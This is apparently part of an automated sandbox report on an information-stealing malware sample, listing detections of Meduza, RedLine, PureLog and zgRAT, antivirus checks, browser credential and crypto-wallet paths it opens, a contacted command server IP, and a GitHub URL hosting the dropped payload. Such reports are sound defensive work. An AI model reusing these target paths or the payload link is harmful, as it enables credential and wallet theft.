Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_6D5976E3 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 6_2_6D5976E3
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information
barindex
Yara detected Meduza Stealer
Source: Yara match File source: Process Memory Space: MSBuild.exe PID: 8184, type: MEMORYSTR
Yara detected PureLog Stealer
Source: Yara match File source: 6.2.uh3ex1.exe.6d5ab000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.MSBuild.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.uh3ex1.exe.6d5ab000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.uh3ex1.exe.6d590000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.1580971766.000000006D5AB000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1646379749.0000000000F02000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Yara detected RedLine Stealer
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: 6.2.uh3ex1.exe.6d5ab000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.MSBuild.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.uh3ex1.exe.6d5ab000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.uh3ex1.exe.6d590000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.1580971766.000000006D5AB000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1646379749.0000000000F02000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: MSBuild.exe PID: 8184, type: MEMORYSTR
Yara detected zgRAT
Source: Yara match File source: 6.2.uh3ex1.exe.6d5ab000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.MSBuild.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.uh3ex1.exe.6d5ab000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.uh3ex1.exe.6d590000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.1580971766.000000006D5AB000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Found many strings related to Crypto-Wallets (likely being stolen)
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EF6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Electrum
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EF6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ElectronCash
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EF6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: com.liberty.jaxx
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EF6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Exodus
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EF6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Ethereum
Source: powershell.exe, 00000003.00000002.1475483757.0000000005904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: # AutoUnlockKeyStored. Win32_EncryptableVolume::IsAutoUnlockKeyStored
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\atomic\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Binance\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1650116521.0000000002EF6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: MSBuild.exe PID: 8184, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Meduza Stealer
Source: Yara match File source: Process Memory Space: MSBuild.exe PID: 8184, type: MEMORYSTR
Yara detected PureLog Stealer
Source: Yara match File source: 6.2.uh3ex1.exe.6d5ab000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.MSBuild.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.uh3ex1.exe.6d5ab000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.uh3ex1.exe.6d590000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.1580971766.000000006D5AB000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1646379749.0000000000F02000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Yara detected RedLine Stealer
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: 6.2.uh3ex1.exe.6d5ab000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.MSBuild.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.uh3ex1.exe.6d5ab000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.uh3ex1.exe.6d590000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.1580971766.000000006D5AB000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1646379749.0000000000F02000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: MSBuild.exe PID: 8184, type: MEMORYSTR
Yara detected zgRAT
Source: Yara match File source: 6.2.uh3ex1.exe.6d5ab000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.MSBuild.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.uh3ex1.exe.6d5ab000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.uh3ex1.exe.6d590000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.1580971766.000000006D5AB000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1554430 Sample: 9LrEuTWP8s.exe Startdate: 12/11/2024 Architecture: WINDOWS Score: 100 37 objects.githubusercontent.com 2->37 39 github.com 2->39 47 Suricata IDS alerts for network traffic 2->47 49 Found malware configuration 2->49 51 Malicious sample detected (through community Yara rule) 2->51 53 15 other signatures 2->53 8 9LrEuTWP8s.exe 15 9 2->8         started        signatures3 process4 dnsIp5 43 github.com 140.82.121.4, 443, 49707 GITHUBUS United States 8->43 45 objects.githubusercontent.com 185.199.111.133, 443, 49708 FASTLYUS Netherlands 8->45 31 C:\Path1\To2\Save444\uh3ex1.exe, PE32 8->31 dropped 33 C:\Users\user\AppData\...\9LrEuTWP8s.exe.log, CSV 8->33 dropped 63 Adds a directory exclusion to Windows Defender 8->63 13 uh3ex1.exe 3 8->13         started        17 powershell.exe 23 8->17         started        19 conhost.exe 8->19         started        file6 signatures7 process8 file9 35 C:\Users\user\AppData\Roaming\gdi32.dll, PE32 13->35 dropped 65 Antivirus detection for dropped file 13->65 67 Multi AV Scanner detection for dropped file 13->67 69 Machine Learning detection for dropped file 13->69 75 3 other signatures 13->75 21 MSBuild.exe 4 13->21         started        25 conhost.exe 13->25         started        71 Found many strings related to Crypto-Wallets (likely being stolen) 17->71 73 Loading BitLocker PowerShell Module 17->73 27 WmiPrvSE.exe 17->27         started        29 conhost.exe 17->29         started        signatures10 process11 dnsIp12 41 4.251.123.83, 49709, 6677 LEVEL3US United States 21->41 55 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 21->55 57 Found many strings related to Crypto-Wallets (likely being stolen) 21->57 59 Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines) 21->59 61 3 other signatures 21->61 signatures13
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
140.82.121.4
 github.com United States
36459 GITHUBUS false
185.199.111.133
 objects.githubusercontent.com Netherlands
54113 FASTLYUS false
4.251.123.83
 unknown United States
3356 LEVEL3US true

Contacted Domains

Name IP Active
github.com 140.82.121.4 true
objects.githubusercontent.com 185.199.111.133 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://github.com/Xavieprowel/crispy-palm-tree/releases/download/1/uh3ex1.exe false
    		high